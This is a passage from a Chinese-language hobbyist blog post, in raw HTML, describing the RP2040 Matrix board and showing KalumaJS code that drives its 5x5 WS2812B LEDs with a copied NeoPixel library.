<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTqKYB84v-onKqkjYBveVe43vxaGzICoat_Ai6wXH7n3KMmvw6P49qiHjdl-uZajqxCxWIMJY9pEpTSvDcSk4SH4wv1CL8beD1avoBe6dwWOj3hFRdYFwMLGGzOPtmGAc1pNTpAutPJaP7GatHrVDPHqUArra85qOceY-d1viLzqaanf5LkPpUrfNkbJE/w0/kalumajs-jerryscript-for-rp2040-011.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTqKYB84v-onKqkjYBveVe43vxaGzICoat_Ai6wXH7n3KMmvw6P49qiHjdl-uZajqxCxWIMJY9pEpTSvDcSk4SH4wv1CL8beD1avoBe6dwWOj3hFRdYFwMLGGzOPtmGAc1pNTpAutPJaP7GatHrVDPHqUArra85qOceY-d1viLzqaanf5LkPpUrfNkbJE/w600/kalumajs-jerryscript-for-rp2040-011.jpg"/></a></div>
<p>RP2040 Matrix 的背面<br/>
所有核心零件都焊接在背面</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-bU-IGAIq2T52SQSc6r8k4DFTvqS6ye_jlaQqtmLTVTZ_CWARI5mzuMxWIvfIFKUqzYfIKjnsIhgf2FmqjmsSaxYXNe-Iu8dHQSSelPJA4w3xmCv_6mMKYTmpximYy2iIGDtl0hn9jWFi2Dxak4T-wtsXx80uQUe1r5uYLuzBUrRJIv0LTOaXOlu477c/w0/kalumajs-jerryscript-for-rp2040-012.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-bU-IGAIq2T52SQSc6r8k4DFTvqS6ye_jlaQqtmLTVTZ_CWARI5mzuMxWIvfIFKUqzYfIKjnsIhgf2FmqjmsSaxYXNe-Iu8dHQSSelPJA4w3xmCv_6mMKYTmpximYy2iIGDtl0hn9jWFi2Dxak4T-wtsXx80uQUe1r5uYLuzBUrRJIv0LTOaXOlu477c/w600/kalumajs-jerryscript-for-rp2040-012.jpg"/></a></div>
<p>Raspberry Pi 的 RP2040晶片</p><!--
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKzRR3td-aGUp7HnZjRGkJ0TFNaDWP0U9aaT9cH5_byJYTnFC5W1NPSyfJRwdVqu9_GcNykXl3nWZu8XMBNxfuAr3HkPxoTrt7QSMtBr9ZT2wVhfWSZD8Rk8mv6B0lbMxiPYGMdC9grCvDT14w4_7fEU-qHJ-2TCqpbceq321WbfLf7JkkC39L77Izn3I/w0/kalumajs-jerryscript-for-rp2040-013.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKzRR3td-aGUp7HnZjRGkJ0TFNaDWP0U9aaT9cH5_byJYTnFC5W1NPSyfJRwdVqu9_GcNykXl3nWZu8XMBNxfuAr3HkPxoTrt7QSMtBr9ZT2wVhfWSZD8Rk8mv6B0lbMxiPYGMdC9grCvDT14w4_7fEU-qHJ-2TCqpbceq321WbfLf7JkkC39L77Izn3I/w600/kalumajs-jerryscript-for-rp2040-013.jpg"/></a></div>
<p>使用 12MHz石英晶體振盪器</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6K5RBvi0Fiie-jl61OWUgKVH199rOUEtQydD_YgZ8FHMGJ4H30lkmnN_kq6WvG3wXyKUu92DaFXvTU5U9H3JKUMZKMrEUANkWMrWfkEct2cZbJ_zuTUBDcM3g8IjmMYKAWwJAC3Jguh9DTW92YH9JsNY1k4W4FT298RKLHemeZIXC_bKVp4LDyfqQLFo/w0/kalumajs-jerryscript-for-rp2040-014.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6K5RBvi0Fiie-jl61OWUgKVH199rOUEtQydD_YgZ8FHMGJ4H30lkmnN_kq6WvG3wXyKUu92DaFXvTU5U9H3JKUMZKMrEUANkWMrWfkEct2cZbJ_zuTUBDcM3g8IjmMYKAWwJAC3Jguh9DTW92YH9JsNY1k4W4FT298RKLHemeZIXC_bKVp4LDyfqQLFo/w600/kalumajs-jerryscript-for-rp2040-014.jpg"/></a></div>
<p>說明說明說明說明說明</p>-->
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqVkWK8HY89Ft6c53UjnlAjdUlptES4VZvBADO5EmRcOqQvAZOAyy4guuoAYIcqz6OZ-qXHSgiSUQ3ls3Z1Ft1e_MBjanpbSTZzMejLGRUPvNF4XskksO-lpI9pdaamsZyP47zLbmPBefzCZOvLMkNjdEesWbRXh-93XIK3fy0ZOs39aQ8Bb3ft2R16dM/w0/kalumajs-jerryscript-for-rp2040-015.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqVkWK8HY89Ft6c53UjnlAjdUlptES4VZvBADO5EmRcOqQvAZOAyy4guuoAYIcqz6OZ-qXHSgiSUQ3ls3Z1Ft1e_MBjanpbSTZzMejLGRUPvNF4XskksO-lpI9pdaamsZyP47zLbmPBefzCZOvLMkNjdEesWbRXh-93XIK3fy0ZOs39aQ8Bb3ft2R16dM/w600/kalumajs-jerryscript-for-rp2040-015.jpg"/></a></div>
<p>BOOT按鈕<br/>
當 BOOT按鈕 按下時起動 RP2040 Matrix ,會進入 起動模式,能夠更新 RP2040 的韌體<br/>
與 Raspberry Pi Pico 相同</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCuQvyzlRzCd9u4URjUX4FRSGY_WaUZwgSRnqkYXtcGNmSCJCaqyYaLKxsLthAgusz_xxU1MvPKT7KhYc6TcNuDEb4J-zkeBRngbwp1AFlZpIXy6K24xN-LTZJ7hJxRBX4VBGS_0EFsHdKlOeLRaSYTDJ4kj0bIl4vQz3rcrIcdWLA8YhKYGo_F_viRuw/w0/kalumajs-jerryscript-for-rp2040-016.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCuQvyzlRzCd9u4URjUX4FRSGY_WaUZwgSRnqkYXtcGNmSCJCaqyYaLKxsLthAgusz_xxU1MvPKT7KhYc6TcNuDEb4J-zkeBRngbwp1AFlZpIXy6K24xN-LTZJ7hJxRBX4VBGS_0EFsHdKlOeLRaSYTDJ4kj0bIl4vQz3rcrIcdWLA8YhKYGo_F_viRuw/w600/kalumajs-jerryscript-for-rp2040-016.jpg"/></a></div>
<p>EN按鈕<br/>
其實即是 重設 (RST) ,按下放開後會重新啟動 RP2040 Matrix</p>
<p>但 BOOT按鈕 及 EN按鈕</p>
<a name="RP2040Matrix引腳"></a><h4 class="mra-h4">引腳</h4>
<p>RP2040 Matrix 的引腳與 RP2040 Zero 及 RP2040 One 相同,因此不重覆在此介紹<br/>
可以到 <a href="https://hkgoldenmra.blogspot.com/2023/01/rp2040-neopixel.html#RP2040-Zero引腳">RP2040-Zero 引腳 @ 使用 RP2040微控制器 控制 NeoPixel</a> 翻查資料<br/>
GPIO16 仍然是用作控制 RGB LED 的引腳,但沒有 GPIO17 至 GPIO25 的 SMD引腳</p>
<a name="RP2040MatrixLED佈局"></a><h4 class="mra-h4">LED佈局</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9MxlAvcIswt1Z-_zLUGf9fcADfnl1Xq3zIhwFs9Lt9HBFR1S9Y2xveGuMbQTa0NWgGemKa6-vJ164vP9ZQoBApkivQNmdOOk0cT704_2xW5rS900ny1k_JefqHeZGG8Nqc09dQwk0Zy6QaZBh98vV4z0cQj_oQYRfNTn-QLpZ_pmfDNqLfzTkJUs_xZA/w0/kalumajs-jerryscript-for-rp2040-017.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9MxlAvcIswt1Z-_zLUGf9fcADfnl1Xq3zIhwFs9Lt9HBFR1S9Y2xveGuMbQTa0NWgGemKa6-vJ164vP9ZQoBApkivQNmdOOk0cT704_2xW5rS900ny1k_JefqHeZGG8Nqc09dQwk0Zy6QaZBh98vV4z0cQj_oQYRfNTn-QLpZ_pmfDNqLfzTkJUs_xZA/w600/kalumajs-jerryscript-for-rp2040-017.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2d_PVpxMamShTmhg7Ou9-CBuMpXZBiIUvTxE9YOnLMCCYspMfoMYO3H9XB956XxvUfkoHU7euFeeE01Yy9eAL8W-xOkhEk2IIsx2Bw2K_Muo5oUxl3GTlqHdjQhPhIHV2u5ukLK_dOW3qcQ2qS7Z3PpihcdR0X72esORwgYyHmf7hE9XTobp8BNzYV6Q/w0/kalumajs-jerryscript-for-rp2040-018.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2d_PVpxMamShTmhg7Ou9-CBuMpXZBiIUvTxE9YOnLMCCYspMfoMYO3H9XB956XxvUfkoHU7euFeeE01Yy9eAL8W-xOkhEk2IIsx2Bw2K_Muo5oUxl3GTlqHdjQhPhIHV2u5ukLK_dOW3qcQ2qS7Z3PpihcdR0X72esORwgYyHmf7hE9XTobp8BNzYV6Q/w600/kalumajs-jerryscript-for-rp2040-018.jpg"/></a></div>
<p>RP2040 Matrix 總共有 25粒 RGB LED 焊接在 正面, 使用 WS2812B 驅動器<br/>
佈局及操作方式與一般 RGB LED Matrix 相同</p>
<a name="KalumaJS匯入函式庫"></a><h4 class="mra-h4">KalumaJS 匯入函式庫</h4>
<p>KalumaJS 除了原生的函式庫,亦有提供第三方的函式庫<br/>
可以到 <a href="https://kalumajs.org/packages/">https://kalumajs.org/packages/</a> 安裝</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMcFhjyE4uX8qTQHa_Tozer_Jfaa0WNYeLVVWxh1d0nmqmwF89PTNDxj_LjiiHZGrf3pnELirBB2sz473J8mcDiUACsTFJhphz8Uvo-Ow9YKRm8p0Az1YOVTRFIFtc6x0Q1EKIfm6maUrkn84ZiTPhFaDeH9myl1zj9zqLQFLOYGxTnLorIz3fC9uPi0c/w0/kalumajs-jerryscript-for-rp2040-019.gif"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMcFhjyE4uX8qTQHa_Tozer_Jfaa0WNYeLVVWxh1d0nmqmwF89PTNDxj_LjiiHZGrf3pnELirBB2sz473J8mcDiUACsTFJhphz8Uvo-Ow9YKRm8p0Az1YOVTRFIFtc6x0Q1EKIfm6maUrkn84ZiTPhFaDeH9myl1zj9zqLQFLOYGxTnLorIz3fC9uPi0c/w600/kalumajs-jerryscript-for-rp2040-019.gif"/></a></div><!--
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsR5mT7UrE_ynY9ne3IkO0jY4w1wUVmOp2B-15TU41A88fBWPq_MUkEB2qb1Rj5RKg_vZX5XsJWkt7FOmp_yICyoUiRTWVsMr7UueX0YRH-YmjpTJ2221bL5rfO1ylmQQqwkXtccmKgJJJ63Hl1w3F9PnNkDWiOUrFria0MlENq6tIPECzR3LsmgPdC_8/w0/kalumajs-jerryscript-for-rp2040-020.gif"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsR5mT7UrE_ynY9ne3IkO0jY4w1wUVmOp2B-15TU41A88fBWPq_MUkEB2qb1Rj5RKg_vZX5XsJWkt7FOmp_yICyoUiRTWVsMr7UueX0YRH-YmjpTJ2221bL5rfO1ylmQQqwkXtccmKgJJJ63Hl1w3F9PnNkDWiOUrFria0MlENq6tIPECzR3LsmgPdC_8/w600/kalumajs-jerryscript-for-rp2040-020.gif"/></a></div>
<p>說明說明說明說明說明</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAcf-R2KGMAIuKXv6_qn18J7yzlYszMVm-zaPhLw4dTchQaweNcOWbdjDriT_MkuVkKbTq8940C6Hly3m_iWgHsmjTe-mykHAXBbuLeOTs7q544w3x0-Kv3u3dm5NI2fVoXPKcfJdizqX9NtFYQ1MKr7oAJgnJ2DCe9ztHUT-XwMVgfjQ4jIyOa1i0z0E/w0/kalumajs-jerryscript-for-rp2040-021.gif"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAcf-R2KGMAIuKXv6_qn18J7yzlYszMVm-zaPhLw4dTchQaweNcOWbdjDriT_MkuVkKbTq8940C6Hly3m_iWgHsmjTe-mykHAXBbuLeOTs7q544w3x0-Kv3u3dm5NI2fVoXPKcfJdizqX9NtFYQ1MKr7oAJgnJ2DCe9ztHUT-XwMVgfjQ4jIyOa1i0z0E/w600/kalumajs-jerryscript-for-rp2040-021.gif"/></a></div>
<p>說明說明說明說明說明</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigUDgEBQTsokosCNwv3BgS_PcG16mR0hFtS-zzhvk4x3t_dbBzYn3x3EW9gol8Kp6y_mN6pBXrm3Tm13khiCy7Om1abDatS75kI0xJSg4_kCWriUQZ_7jWAD5pIwku9PsCinnmF5TJ1QjVkMX2hZ6n6XzMK-194XxkdM_nsn5E8jzI1vSi26sYKp49pDo/w0/kalumajs-jerryscript-for-rp2040-022.gif"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigUDgEBQTsokosCNwv3BgS_PcG16mR0hFtS-zzhvk4x3t_dbBzYn3x3EW9gol8Kp6y_mN6pBXrm3Tm13khiCy7Om1abDatS75kI0xJSg4_kCWriUQZ_7jWAD5pIwku9PsCinnmF5TJ1QjVkMX2hZ6n6XzMK-194XxkdM_nsn5E8jzI1vSi26sYKp49pDo/w600/kalumajs-jerryscript-for-rp2040-022.gif"/></a></div>
<p>說明說明說明說明說明</p>-->
<p>不過 KalumaJS CLI IDE 沒有提供安裝操作,因此不能匯入函式庫,但仍然可以將第三方函式庫的原始碼直接複製到 CODE 來執行<br/>
匯入函式庫其實只是將已有的程式碼載入到主程式,例如 RP2040 Matrix 的 WS2812B 使用 NeoPixel 函式庫<br/>
操作方法與 <a href="https://hkgoldenmra.blogspot.com/2023/01/rp2040-neopixel.html#NeoPixel燈板">NeoPixel燈板 @ 使用 RP2040微控制器 控制 NeoPixel</a> 的相同<br/>
由於無法安裝函式庫,因此在下到 <a href="https://raw.githubusercontent.com/niklauslee/neopixel/main/index.js">https://raw.githubusercontent.com/niklauslee/neopixel/main/index.js</a><br/>
將整個函式庫的原始碼複製到 CODE 中</p>
<pre class="brush:js">// NeoPixel class copied from "https://raw.githubusercontent.com/niklauslee/neopixel/main/index.js"
// NeoPixel class start
const { PIO, ASM, StateMachine } = require("rp2");
class NeoPixel {
constructor(pin, len, options = {}) {
this.pin = pin;
this.length = len;
this.smId = options.sm ?? StateMachine.getAvailableId();
this.hz = options.hz || 800000;
this.buf = new Uint32Array(this.length);
this.buf.fill(0);
const asm = new ASM({
"sideset": 1
});
asm
.label("bitloop")
.out("x", 1)
.side(0)
.delay(2)
.jmp("!x", "do_zero")
.side(1)
.delay(1)
.label("do_one")
.jmp("bitloop")
.side(1)
.delay(4)
.label("do_zero")
.nop()
.side(0)
.delay(4);
this.sm = new StateMachine(this.smId, asm, {
"freq": this.hz * 10,
"autopull": true,
"pullThreshold": 24,
"fifoJoin": PIO.FIFO_JOIN_TX,
"sidesetBase": this.pin,
"outShiftDir": PIO.SHIFT_LEFT
});
this.sm.active(true);
}
color(r, g, b) {
return (g << 24) | (r << 16) | (b << 8);
}
setPixel(index, color) {
this.buf[index] = color;
}
getPixel(index) {
return this.buf[index];
}
clear() {
this.buf.fill(0);
}
show() {
this.sm.put(this.buf);
}
}
// comment or delete the line "exports.NeoPixel = NeoPixel;"
//exports.NeoPixel = NeoPixel;
// NeoPixel class end
const PIN = 16;
const LENGTH = 25;
const neopixel = new NeoPixel(PIN, LENGTH);
setInterval(() => {
for (let i = 0; i < LENGTH; i++) {
neopixel.clear();
neopixel.setPixel(i, neopixel.color(8, 8, 8));
neopixel.show();
delay(100);
}
}, 0);</pre>
<p>結果能夠正確運作</p><!--
<a name="使用MicroREPL"></a><h4 class="mra-h4">使用 Micro REPL</h4>
<p>早期剛剛使用 Raspberry Pi Pico 時,曾使用 Arduino IDE 、 MicroPython 及 CircuitPython 測試<br/>
當時 MicroPython 無法在 Android 上修改 Raspberry Pi Pico 中的檔案,因此比較喜歡使用 CircuitPython<br/>
但最近在下發現 Android 上有一個稱為 Micro REPL 的應用程式,能夠支援 MicroPython 及 CircuitPython<br/>
因此亦測試使用感覺</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsYO2O-b_1Xbf6uJL1K4uwHcMxVrvZlJO4db5B5bNkQKzBskreoZNat4zxHFWWrshiJkGGtcvSlUlF_wsV5-akteZEdhgOpA1HdYIIZj-EKYA-8ngOdOlnRRrz8_C-5ohoHz3sV3QlIthjYuUwuhGoU7kNW2y4JyHPUvy7QzEcjxXgwVVhTh3NZzz1AgU/w0/rp2040-matrix-022.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsYO2O-b_1Xbf6uJL1K4uwHcMxVrvZlJO4db5B5bNkQKzBskreoZNat4zxHFWWrshiJkGGtcvSlUlF_wsV5-akteZEdhgOpA1HdYIIZj-EKYA-8ngOdOlnRRrz8_C-5ohoHz3sV3QlIthjYuUwuhGoU7kNW2y4JyHPUvy7QzEcjxXgwVVhTh3NZzz1AgU/w600/rp2040-matrix-022.png"/></a></div>
<p>在 Android 的 PlayStore 尋找 Micro REPL 並安裝即可</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZSRko_vpM7DEc6WexB_8U3OY9hClf3hr8zsnSE9KMTx_Dlqv8_kd6fwxL2fYQxecgh6vox5zDFtOiv4OJbQ7DhWwTD5KkglIk0GY9OyGt__QKwHmPYUymV3SYrhhAs5yczwEt_slayOTXe2S1EApbmDXrS8MtGt7fNCnUjIP7lfYa7WO1F6Lp3r9Dz7M/w0/rp2040-matrix-015.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZSRko_vpM7DEc6WexB_8U3OY9hClf3hr8zsnSE9KMTx_Dlqv8_kd6fwxL2fYQxecgh6vox5zDFtOiv4OJbQ7DhWwTD5KkglIk0GY9OyGt__QKwHmPYUymV3SYrhhAs5yczwEt_slayOTXe2S1EApbmDXrS8MtGt7fNCnUjIP7lfYa7WO1F6Lp3r9Dz7M/w600/rp2040-matrix-015.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDcui2pFUqGBycaWQST2Pqb_d89W7dcBxoFZo1DqGPk0ophB-lPGVssoW7FfyyFEnZVGhlZ04I8osOkypJvK3O9d76-XXrw2XhFphY47_LE4gnihQfHaMKgjYtrsBLZD1PKEDx5XCHmZnw5s0aO3k_N0-CAw6dQ83U96xBhEXPO44WlzxjSpbsY8ZbsPY/w0/rp2040-matrix-016.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDcui2pFUqGBycaWQST2Pqb_d89W7dcBxoFZo1DqGPk0ophB-lPGVssoW7FfyyFEnZVGhlZ04I8osOkypJvK3O9d76-XXrw2XhFphY47_LE4gnihQfHaMKgjYtrsBLZD1PKEDx5XCHmZnw5s0aO3k_N0-CAw6dQ83U96xBhEXPO44WlzxjSpbsY8ZbsPY/w600/rp2040-matrix-016.png"/></a></div>
<p>開啟應用程式<br/>
透過 OTG USB 將 MicroPython裝置 與 Android 連接<br/>
會顯示 Micro REPL 需要存取 Board in FS mode ,即是 MicroPython裝置<br/>
選擇 確定 讓 Micro REPL 連接 Board in FS mode</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglJpP6SUeG5WCHgLwUyhJXTXy7pxd1ll3nLKD9wyELWQt8icFMZxM-F0tnSW06nxLIvhzQhiQXpVTB_VMZF5hv3iaOB-HrXZuGNd6g9A56fyR2TxNwHvhUC9V5Flhv09GQkU-BYKG5978hjhXb_DvfMOaMPSvsBq8xmaxTF-Ro0altQS2wi8bKoLoWTSE/w0/rp2040-matrix-017.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglJpP6SUeG5WCHgLwUyhJXTXy7pxd1ll3nLKD9wyELWQt8icFMZxM-F0tnSW06nxLIvhzQhiQXpVTB_VMZF5hv3iaOB-HrXZuGNd6g9A56fyR2TxNwHvhUC9V5Flhv09GQkU-BYKG5978hjhXb_DvfMOaMPSvsBq8xmaxTF-Ro0altQS2wi8bKoLoWTSE/w600/rp2040-matrix-017.png"/></a></div>
<p>連接後,會顯示 Terminal 及 Explorer</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIjbX4f_2Yve1L7lD9h5ovJz7DjhFFnHipTaQJd1Fx2cjP2a5uhOLr8KTCMmpHhC5mcGuMzCP-aHFZBsgKUb9NfbBKaPIv9Lz6QAPzQmosn_WOVAKvKuWE5E6iixzuhzLB5O_SCgogWn1tuFEQ3pzrJt_-eatRXg5TT_Wv9I2TmrpDgXGgSzIK1K_PdkE/w0/rp2040-matrix-018.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIjbX4f_2Yve1L7lD9h5ovJz7DjhFFnHipTaQJd1Fx2cjP2a5uhOLr8KTCMmpHhC5mcGuMzCP-aHFZBsgKUb9NfbBKaPIv9Lz6QAPzQmosn_WOVAKvKuWE5E6iixzuhzLB5O_SCgogWn1tuFEQ3pzrJt_-eatRXg5TT_Wv9I2TmrpDgXGgSzIK1K_PdkE/w600/rp2040-matrix-018.png"/></a></div>
<p>進入 Terminal ,會列出 MicroPython裝置 的檔案及目錄資料<br/>
亦可以 新增檔案 或 建立目錄</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwsX_W6LU07rMlX0FIHa71IWluCA1TpCiSAhhWk_2Rjs4yEG5yuu3RYW02kXi6D8H9Y9IjJTkAwq-amwNbhGD3hCPVZDCRAI9s9XGgqy-ZdLaYE51RWZ6d7u141Pet36K5GHwZ0ayLt5tTRLKeTZg2T4RoZ7hdDwjQx6cPp7lAhT-FYVg56ERlgdXbTWE/w0/rp2040-matrix-019.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwsX_W6LU07rMlX0FIHa71IWluCA1TpCiSAhhWk_2Rjs4yEG5yuu3RYW02kXi6D8H9Y9IjJTkAwq-amwNbhGD3hCPVZDCRAI9s9XGgqy-ZdLaYE51RWZ6d7u141Pet36K5GHwZ0ayLt5tTRLKeTZg2T4RoZ7hdDwjQx6cPp7lAhT-FYVg56ERlgdXbTWE/w600/rp2040-matrix-019.png"/></a></div>
<p>點擊檔案會顯示操作指令</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNi1M6AFjC-AMFzn34zuPLnpJKwJVXvLXvahpjOXzExz7zHlWxbLt6pGgT7TLoOFNoUT-xGFaueY3qp6iUAuy8SiJzvAJYVH-bU1ijBoAyhxXz9lqUn9TdB3Ab8JsoUUjyU7JI6Zq0LGfJyQGRE17AAEoGkzhNfaJek6xWmyThaG5Hd1jPL4KUT-knOZE/w0/rp2040-matrix-020.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNi1M6AFjC-AMFzn34zuPLnpJKwJVXvLXvahpjOXzExz7zHlWxbLt6pGgT7TLoOFNoUT-xGFaueY3qp6iUAuy8SiJzvAJYVH-bU1ijBoAyhxXz9lqUn9TdB3Ab8JsoUUjyU7JI6Zq0LGfJyQGRE17AAEoGkzhNfaJek6xWmyThaG5Hd1jPL4KUT-knOZE/w600/rp2040-matrix-020.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVQ5_zHBk0IKP5880qjbDQNJeN2VNAcTmA1w74eWP2QI_1LfanMWdYuW2Gqp2mvo3IOHzGaWrK0AW6PBIn36n-mjVuJXEzR8BeTFZH11p7rBTpk0cZ8epWAcaHxy_GKum_7YTWyU1yWLVlkKK1qkNhreUG-Y7zgGv5cMpmOt-Kn5IisD8CKC8DAxNG6P8/w0/rp2040-matrix-021.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVQ5_zHBk0IKP5880qjbDQNJeN2VNAcTmA1w74eWP2QI_1LfanMWdYuW2Gqp2mvo3IOHzGaWrK0AW6PBIn36n-mjVuJXEzR8BeTFZH11p7rBTpk0cZ8epWAcaHxy_GKum_7YTWyU1yWLVlkKK1qkNhreUG-Y7zgGv5cMpmOt-Kn5IisD8CKC8DAxNG6P8/w600/rp2040-matrix-021.png"/></a></div>
<p>可以修改或執行檔案</p>
<div><a href="https://photos.google.com/album/AF1QipM3MEgoNyrvp8U5uxHgs4WxC_tI2QJJXYFCcPM-/photo/AF1QipOPqbYjcV1Ga3E9_VyyH4XMFvvnoYwkYJp8st_7"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://lh3.googleusercontent.com/-wGp2wF-V618/ZSdnxsJPB7I/AAAAAAADGAU/Kq8WZPxvwPkOYO5pDB_4lY01i9R2hICnACEwYBhgLKpEFAPYkdFsG7KA_N6ORsv0zJCtmlYK8jD0G7Kw53GTnwjjBSz0X_CRCm576PBC_aoOll7Dci3OInoiev9wOGTpS13Etlpq4xoIJwlr7A_4pLyBpDKPQdf0FYewaIX6OZpdQkb0CrRqryIiz8oT8soz9B9PAqQwxtAp5sZuLaL2UhFCsElyJbqlETzZPeVH642Sd2MvgNp5JHFJDjesgvtuFk0-nVItEgJdoJRoXIhoRvTo0OjqV8CtEKSyTAP_ouApJadn1KVCyZsmXs9WPD51RNE1WniPpeWnP7QsWfiZx2uICpVynqXX78ycV10oyiKnR5LM0oXCJy2gBL03TvUVyMzR_SKHqgMetnCjEqI-aOqDP5U3ueyB-ilrZ5DpvrfyXwYojzap-W5v-EmV1NWHYgJD6jh89uV2P-T0HOKZhoZb7q7MmsCZ4MQr5OlpyqMaFGYgzWKS1kx3OC-K0eEf6smDIZ-lVDlu4RHZR88fHtNcLOBTKapfjY7ZCvLt-andiMaRyEqj5-hsKZMmMr04DkwPAB8aoLrc1VpEM3vAfhqPqnYf9z32sBUU2uTc6l_jzMuwTezWpoHiT7g41HAJek6mUjeV9SHsryurfvgGfg-KN5tFXsZEP6aCoGOry-WykV112EmynzdEU-bZ_Vgt_rqIN4zZHPBh_PDqCUO9Oo30UnZir4nSXBL9WRt8B9nC3GUQClqdfJ8sA0ymmaI84k-G4TkwIk2zLXl91wrlrquBLyJIKoOOcVghLd5qKzO_GpJMFX9Zm-nTQRbUHvBVSO8IN0HqjTbDb12SMaEynsZA40Q8nr-fhuNIx82Tu0_czKsw65kuu5tYFe7_FW8hZGkqjK6eoypyAnaH9ihRheKDRMMbYnakG/w600/rp2040-matrix-023.mp4"/></a></div>
<p>測試效果</p>-->
<a name="總結"></a><h4 class="mra-h4">總結</h4>
<p>在下早於 2年前 已經發現 KalumaJS 這個專案,當時 KalumaJS 亦沒有提供 KalumaJS CLI IDE ,需要自行安裝 Node.js 及 KalumaJS CLI<br/>
KalumaJS 隨後提供 KalumaJS CLI IDE , 類似 <span class="mra-highlighter">Arduino Web Editor</span><br/>
只需要網頁瀏覽器支援 Web Serial API 便能夠編譯及上載,不需要安裝特定軟件及設定便可以使用</p>
<p>由於語法與 Arduino AVR-C 、 MicroPython 及 CircuitPython 非常相似,在下亦有編寫 JavaScript ,因此學習相對容易<br/>
但亦由於太相似,在下曾經使用類似 MicroPython 及 CircuitPython 的迴圈語法作為 loop 的操作<br/>
結果導致 Raspberry Pi Pico 不能上載程式,即使重新安裝 KalumaJS韌體 亦無法再次使用<br/>
最後還是要用 flash_nuke.uf2 將還原 Raspberry Pi Pico</p>
<p>操作其實與之前的 <a href="https://hkgoldenmra.blogspot.com/2023/01/rp2040-neopixel.html">使用 RP2040微控制器 控制 NeoPixel</a> 相同<br/>
只是 RP2040 Matrix 具備 5x5 WS2812B 能即時製作類似 RGB燈板 的效果</p>
<p>另外還試用 Micro REPL 能夠在 Android 在修改 MicroPython裝置<br/>
雖然不及 CircuitPython 能夠將裝置當作儲存裝置列出及編輯檔案<br/>
但都能夠方便地使用 Android 即時修改裝置的程式</p>
<a name="參考資料"></a><h4 class="mra-h4">參考資料</h4>
<div>
<ul>
<li><a href="https://play.google.com/store/apps/details?id=micro.repl.ma7moud3ly">Micro REPL @ PlayStore</a></li>
</ul>
